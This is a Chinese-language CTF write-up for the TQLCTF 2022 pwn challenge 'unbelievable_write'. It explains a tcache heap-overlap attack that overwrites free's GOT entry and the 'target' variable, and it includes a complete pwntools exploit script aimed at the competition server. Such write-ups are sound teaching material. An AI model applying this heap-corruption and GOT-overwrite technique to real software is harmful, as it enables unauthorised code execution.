699 字
3 分钟
阅读量 --
Hits
[TQLCTF]Pwn Tunbelievable_write wp

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-02_TQLCTF/unbelievable_write.zip

解题#

Checksec 发现没开 PIE

image-20220221101153302

IDA 检查,主要逻辑就是三个函数 c1 c2 c3

image-20220221101252539

image-20220221101304998

image-20220221101314111

发现只要修改 target 的值就可以得到 flag

image-20220221101415508

在 c2 中可以伪造一个堆的 chunk 到 tcache bin 中,实现堆块堆叠,之后可以修改物理地址相邻的下一个堆块的 fd 指针,实现任意位置写(题目附件给了 Dockerflie,使用 Ubuntu20.04 起的 docker)

在 gdb 调试中会发现 target 上方就是 got 表,直接伪造在 target 上伪造 chunk 在从 c1 中能够申请但 free 时会报错,过不了_int_free 中的检验,解决方法就是修改 free 的 got 表,让他不要 free 不就行了 hhhh,即在 tcache 中布置好两个伪造的堆块,一个用于修改 free_got,一个用于修改 target,由于不需要 free 了,堆块的地址也不需要 16 位对齐了。

Exp#

from pwn import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote('119.23.255.127', 21334)
def c1(size, content):
io.sendlineafter('> ', '1')
io.sendline(str(size))
io.sendline(content)
def c11(size, content):
io.sendlineafter('> ', '1')
io.sendline(str(size))
io.send(content)
def c2(offset):
io.sendlineafter('> ', '2')
io.sendline(str(offset))
def c3():
io.sendlineafter('> ', '3')
# c2(0x0404080)
c1(0x40, 'aaa')
c1(0x50, 'bbb')
# 申请0x40和0x50堆块并直接进入tcache,其中0x50的堆块就是我要劫持的堆块,下文叫做vulnchunk
p = 'a' * 0x10 + p64(0) + p64(0x200)
c1(0x40, p) # 此时申请的0x40堆块就是之前的那个,写入fakechunk的头,fakechunk大小为0x1f0
c2(0x40) # 计算偏移到fakechunk的地址,构造堆块堆叠
c1(0x80, 'aaa') # 先在tcache[0x80]位置放入一个堆块
p = 'a' * 0x20 + p64(0) + p64(0x91) + p64(0x0000404080) # 修改vulnchunk的size为0x91
c1(0x1f0, p)
c1(0x50, 'aaa') # 将vulnchunk申请出来,并立马free掉,此时会放入tcache[0x80]的位置
# 此时tcache[0x80]位置会有两个堆块,[0x80] -> vulnchunk -> normalchunk
p = 'a' * 0x20 + p64(0) + p64(0xa1) + p64(0x404018)
c1(0x1f0, p)
# 修改vuln再次修改size为,0xa1,并篡改fd指针为目标写入地址,此时0x404018是free_got地址
# 此时的tcache[0x80] -> vulnchunk -> free_got chunk
c1(0x90, 'aaa') # 在0x90中先放一个堆块后续会用到
c1(0x80, 'aaa') # 将vulnchunk申请出来,free之后会放入tcache[0x90]位置
# 此时tcache[0x90] -> vulnchunk -> normal chunk
# 此时tcache[0x80] -> free_got chun,即下一个0x80的堆块就是free_got地址的堆块
p = p64(0x00401418) + p64(0x401040) + p64(0x401050)
c1(0x80, p)
# 将free_got内容写为c3函数地址,并复原下面一部分got表
#由于结尾需要一个\n,我就把\n放到了__stack_check_fail的got表中了(反正也不会执行
p = 'a' * 0x20 + p64(0) + p64(0xb1) + p64(0x404080)
c1(0x1f0, p)
# 重复上述修改vulnchunk fd指针操作,将target地址写入
# 此时tcache[0x90] -> vulnchunk -> target
c1(0x90, 'aaa') # 将vulnchunk取出,此时tcache[0x90] -> target
c1(0x90, 'aaa') # 将target取出,并修改其中的值,由于free_got中是c3函数,所以会自动调用使其打印出flag
io.interactive()
[TQLCTF]Pwn Tunbelievable_write wp
https://blog.csome.cc/p/TqlCTF-unbelievable-write/
作者
Csome
发布于
2022-02-21
许可协议
CC BY-SA 3.0